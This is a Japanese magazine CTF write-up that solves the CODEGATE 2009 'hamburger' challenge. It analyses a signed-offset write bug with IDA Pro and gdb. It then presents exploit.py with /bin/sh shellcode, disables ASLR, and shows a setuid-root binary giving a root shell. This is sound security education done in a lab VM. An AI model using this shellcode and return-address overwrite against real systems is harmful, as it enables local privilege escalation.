進め！リバースエンジニアリングの道 NEXT

第2回 CTF問題に挑戦

文●愛甲健二

前回までの復習

前回は、主なセキュリティ機能としてASLR、Exec-Shield、そしてStackGuardを学びました。ソフトウェア開発において、脆弱性やバグはもちろん可能なかぎりゼロにすべきなのですが、残念ながらプログラマーも全知全能ではありませんので、たまにミスを犯します。そして、攻撃者はその小さなミスを利用してコンピュータに致命的な被害を与えようとします。

なので「人間はミスを犯すもの」という前提を受け入れ、その上でソフトウェアを守る仕組みを作るにはどうすればよいだろう、と考えた結果実装されたのが上に挙げたセキュリティ機能です。しかし、当然ながらこれらのセキュリティ機能もまた完璧ではありません。多くの研究者が守る機能を考えるのと同じく、それらを迂回する手法もまた生み出されます。

よって今回からは、Capture the Flag（CTF）の問題を題材に「セキュリティ機能の迂回方法」について学んで行きましょう。扱う問題はCODEGATE※CTF 2009の予選にて出題されたExploit系問題で、hamburgerというものです。難易度はもっとも低い100点問題ですが、この問題にはExploitingの基礎がしっかりと詰まっていますので、ぜひとも完全に理解してください。ファイルは付録DVD-ROMに収録してます。

動作確認

CTFのExploit系問題は、出題時に攻撃対象となる実行ファイルが提供されるものと、全く手がかりがなく、完全なブラックボックスとして調査しなければならないものがあります。今回のhamburgerは前者ですので、まず提供されたものが「何のファイルなのか?」をfileコマンドで調べます。Linux環境は前回準備していると思いますので、端末（ターミナル）で以下のように実行しましょう。

```
$ file hamburger
hamburger: ELF 32-bit LSB
executable, Intel 80386, version
1 (SYSV), dynamically linked
(uses shared libs), for GNU/
Linux 2.6.8, not stripped
```

fileコマンドを使ってhamburgerを調べると、32ビットのLinux上で動作するELF実行ファイルだとわかります。

ではLinux上でhamburgerを実行しましょう。ただし、この時用意するLinux環境（実行環境）は、いつでも実行前に戻せるような仮想マシン（VM）系のツールを使います。VMwareやVirtualBoxなどのゲストOSとしてLinuxを起動してください（VMware Playerについては付録DVD-ROMのHTMLに解説があります。また、Ubuntu 11.04のisoファイルも収録しています）。なぜなら、CTFでは問題ファイルとして実在するマルウェアや悪意あるプログラムが使われることも珍しくありません。問題ファイルの実行時には常に最悪を想定しておき、マルウェアを扱う気持ちで臨みましょう。

環境が準備できたら、端末でhamburgerを実行します。

```
$ ./hamburger
Usage: ./hamburger string offset
value
$ ./hamburger hello 2 3
he
```

hamburgerを引数なしで実行すると、引数にstring、offset、valueが必要だと言われます。なので試しに「hello、2、3」と入力しました。するとheと表示されてプログラムが終了します。出力結果をもう少し詳しく確認するために、hexdumpを使い16進に変換して表示します。

※ http://www.codegate.org/Eng/ 本誌2009年7月号に、tessy氏によるCTF参戦記を掲載。なお2009年の出題/解答などは現在公式サイトで見ることはできない。参加チームによる以下のレポートなどを参考にしてほしい http://www.justanotherhacker.com/codegate2009.pdf

```
$ ./hamburger hello 2 3 | hexdump -C
00000000  68 65 03 0a              |he..|
00000004
$ ./hamburger hello 4 5 | hexdump -C
00000000  68 65 6c 6c 05 0a        |hell..|
00000006
```

stringをhelloとし、offsetを2、valueを3とすると、出力結果は68 65 03 0aとなりました。どうやらstringとして渡した文字列の先頭から2バイト目のデータがvalueである3に書き換わっています。同じようにstringをhello、offsetを4、valueを5とすると、出力結果は68 65 6c 6c 05となり、今度は4バイト目が5となりました。

以上の結果から、offsetとは「stringの先頭からの位置」であり、valueとは「offsetの場所に書き込む値」と考えられます。つまり、stringに与えた文字列の好きなところをvalueに変更できる、というわけです。

バイナリ解析

続いて、IDAProとgdbを用いてアセンブラレベルで解析します。解析の流れとしては、まずIDAProで全体の動作概要を把握して、次にgdbで局所的な処理を確認していく、といった感じです。読者の方はすでにアセンブリ言語についてはある程度の知識を持っていると思いますので、IDAProによる動作概要の把握は各自で行ってください。hamburgerはコード量も少ないため、main関数以降をすべてC言語風に書き起こしてもよいでしょう。

どうしてもわからないという方のために、以下に私が手動で逆コンパイルしたコードを載せます。ただし、このコードだけを読んでもアセンブラ命令での処理がわからないため、あくまでも以下のコードは参考程度とし、自分の力でIDAProを使い詳細な処理を解読しておいてください。

• hamburger.c?

```
int cpy(char *a0, short a4, int a8)
{
  short var_14 = a4;
  int *var_4 = (int *)(a0 + var_14);
  *var_4 = a8;
  return a8;
}

void main(int argc, char *argv[])
{
  int var_8, var_C;
  short var_E;
  char var_800D[0x8000];
  memset(var_800D, 0, 0x7FFF);
  if(argc != 4)
    exit(0); // Usage
  var_E = (short)atoi(argv[2]);
  var_C = (int)atoi(argv[3]);
  var_8 = (int)strlen(argv[1]);
  if(var_8 > 0x7FFF)
    exit(0); // string is too long
  memcpy(var_800D, argv[1], var_8);
  cpy(var_800D, var_E, var_C);
  puts(var_800D);
  return;
}
```

IDAProによる解析から、 まずスタックに0x8000バイトの領域が確保され、そこにmemcpyによりプログラムへの第1引数であるargv[1]がコピーされます。argv[1]はコピーされる前にそのサイズが0x7FFFと比較されるため、残念ながらmemcpyの呼び出し時にはバッファはあふれません。

ただ問題はcpy関数で、コピー先のvar_800Dからオフセットvar_Eの数だけ前後に移動でき、そしてそのアドレスへvar_Cを書き込めます。var_Eは16ビットであるため、0x0000～0xFFFFの範囲で値を取りますが「符号あり」のため、最大値は0x7FFFとなりvar_ 800Dのサイズである0x8000を超えません。ただし、符号ありだと負の方向にも移動できるため、その結果var_800Dよりも前に存在するアドレスの値を任意に書き換えられます。

gdb上でhamburgerを起動し、cpy関数の呼び出し前後にブレイクポイントをセットします。そして、stringをAAAABBBB、offsetを-4、valueを1128481603（0x43434343）として実行します。

```
$ gdb hamburger
GNU gdb (GDB) 7.1-ubuntu
(gdb) b *0x08048632
[cpy関数の実行前にブレイクポイント]
Breakpoint 1 at 0x8048632
(gdb) b *0x08048637
[cpy関数の実行後にブレイクポイント]
Breakpoint 2 at 0x8048637
(gdb) r AAAABBBB -4 1128481603
Breakpoint 1, 0x08048632 in main ()
(gdb) x/16x $esp
0xbfff7770: 0xbfff778b  0xfffffffc
```

```
                0x43434343   0xbffff7b0
0xbffff7780:    0x00000000   0x00000000
                0x41000000   0x42414141
0xbffff7790:    0x00424242   0x00000000
                0x00000000   0x00000000
0xbffff77a0:    0x00000000   0x00000000
                0x00000000   0x00000000
(gdb) c
Continuing.
Breakpoint 2, 0x08048637 in main ()
(gdb) x/16x $esp
0xbffff7770:    0xbfff778b   0xfffffffc
                0x43434343   0xbffff7b0
0xbffff7780:    0x00000000   0x43000000
                0x41434343   0x42414141
0xbffff7790:    0x00424242   0x00000000
                0x00000000   0x00000000
0xbffff77a0:    0x00000000   0x00000000
                0x00000000   0x00000000
```

var_800Dには AAAABBBBがコピーされるため、0x41414141、0x42424242と続いているアドレスがvar_800Dの先頭です。つまり私のgdb環境ではvar_800D=0xbfff778bとなりますが、重要なのは、0x08048637でブレイクした際に0xbfff7787に0x43434343がコピーされていることです。これにより、var_800Dよりも前のアドレスへ任意のデータを上書きできることがわかりました。

攻撃フローの考察

shellcodeはvar_800Dの領域に置くとして、問題はどうやってそこにジャンプさせるかですが、まずはASLRが無効になっている場合を考えます。

ASLRが無効ならば、スタックアドレスの推測が容易になるため、cpy関数からmain関数へ戻る際のretアドレスを上書きすることで、任意のアドレスへジャンプできます。

```
$ gdb hamburger
GNU gdb (GDB) 7.1-ubuntu
(gdb) b *0x8048517
[cpy関数内のret命令にブレイクポイント]
Breakpoint 1 at 0x8048517
(gdb) r AAAABBBB 8 0
Breakpoint 1, 0x08048517 in cpy ()
(gdb) x/16x $esp
0xbffff776c:    0x08048637   0xbffff778b
                0x00000008   0x00000000
0xbffff777c:    0xbffff7b0   0x00000000
                0x00000000   0x41000000
0xbffff778c:    0x42414141   0x00424242
```

```
                0x00000000   0x00000000
0xbffff779c:    0x00000000   0x00000000
                0x00000000   0x00000000
```

cpy関数からmain関数へ戻る際のret命令にブレイクポイントをセットし、プログラムを実行します。そして、停止した場所でespの値を確認すると0xbfff776cとなっています。このアドレスにある値0x08048637がmain関数内への戻り先であるため、この値をvar_800Dのアドレスに上書きし、var_800Dにはshellcodeを置きます。上記のメモリマップだと0xbfff778bがvar_800Dなので、0xbfff778bから31バイト戻ることで0xbfff776cになります。

以上から、例えば、次のように入力することでretを0x43434343に上書きできます。

```
(gdb) r AAAABBBB -31 1128481603
Program received signal SIGSEGV,
Segmentation fault.
0x43434343 in ?? ()
```

任意のアドレスへジャンプできたので、次はジャンプ先のアドレスvar_800Dを推測します。gdb上ではvar_800D=0xbfff778bでしたが、通常の実行時にはアドレスマップが異なりますので、再度調べなければなりません。

Exploitの作成

hamburgerに渡す3つの引数、stringにshellcode、offsetに-31、valueに任意の値を入れられるexploit.pyを作成します。

• exploit.py

```
#!/usr/bin/python
import sys
from struct import *
if len(sys.argv) != 2:
    val = 0x41414141
else:
    val = int(sys.argv[1], 16)
    if val > 0x7fffffff:
        val = (val - 0x100000000)
off  = -31
str  = "¥xeb¥x1f¥x5e¥x89¥x76¥x08¥x31
¥xc0"
str += "¥x88¥x46¥x07¥x89¥x46¥x0c¥xb0
¥x0b"
str += "¥x89¥xf3¥x8d¥x4e¥x08¥x8d¥x56
¥x0c"
str += "¥xcd¥x80¥x31¥xdb¥x89¥xd8¥x40
```

```
¥xcd"
str += "¥x80¥xe8¥xdc¥xff¥xff¥xff/
bin/sh"
print str, off, val,
```

次に通常の実行時のアドレスマップを調べるため、ASLRを無効にして、Segmentation fault時にcoreファイルを吐く設定にします。

```
$ sudo su
[sudo] password for user:(rootになる)
# echo 0 > /proc/sys/kernel/
randomize_va_space
# exit
$ ulimit -c unlimited
$ ulimit -a
core file size  (blocks, -c)
unlimited
data seg size   (kbytes, -d)
unlimited
(省略)
```

もしulimitコマンド実行時にエラーが出る場合は、root権限で/etc/security/limits.confファイルを編集し、最後に以下の1文を追加して、1度ログアウトした後、再ログインしてください。

• /etc/security/limits.conf

```
kenji soft core unlimited
```

kenjiはユーザー名なので各自、任意に変更してください。無事coreファイルを吐く設定になっていれば、ulimit -aを実行した際にcore file sizeの設定がunlimitedになります。

設定が完了したらhamburgerを実行させ、Segmentation faultを起こさせます。これで同じディレクトリにcoreファイルが作成されます。そのcoreファイルをgdbで解析します。

```
$ ./hamburger `python exploit.py
43434343`
Segmentation fault (core dumped)
$ gdb -c core
GNU gdb (GDB) 7.1-ubuntu
Program terminated with signal
11, Segmentation fault.
#0  0x43434343 in ?? ()
(gdb) x/16x $esp-4
0xbfff775c: 0x43434343   0xbfff777b
            0xffffffe1   0x43434343
0xbfff776c: 0xbffff7a0   0x00000000
            0x00000000   0xeb000000
0xbfff777c: 0x76895e1f   0x88c03108
            0x46890746   0x890bb00c
0xbfff778c: 0x084e8df3   0xcd0c568d
            0x89db3180   0x80cd40d8
```

上書きされたretは0xbfff775cで、var_800Dは0xbfff777bだとわかりました。以上の結果から、./hamburger `python exploit.py bfff777b`といったコマンドを実行すれば、任意のshellcodeが動かせそうです。

試しにhamburgerをrootでsetuidし、一般権限からrootを奪取します。

```
$ sudo su
[sudo] password for kenji:(rootにな
る)
# chown root hamburger
# chmod 4755 hamburger
# exit
exit
$ ./hamburger `python exploit.py
bfff777b`
# whoami
root
```

無事shllcodeが実行されました。以上で100点問題としてのhamburgerは攻略です。

ASLRを迂回する

次の課題は、ASLRを有効にした状態でExploitを成功させることです。 知ってのとおり、ASLRを有効にするとスタックアドレスが実行ごとにランダマイズされます。つまり、0xbfff777bといったvar_800Dのアドレスが毎回変わるのです。こうなるとretを書き換えられたとしても、 そのジャンプ先アドレスをvar_800Dにはできないため、shellcodeに飛ばせません。さて、どうしましょうか…

```
$ sudo su
[sudo] password for user:(rootになる)
# echo 2 > /proc/sys/kernel/
randomize_va_space
# exit
```

というわけで、今回は宿題として「ASLRが有効の状態でも100%成功するExploitの作成」をやっていただきます。技術的な解決材料はすでに揃っているので、次回までにじっくりと考えてみてください。では、次回またお会いしましょう。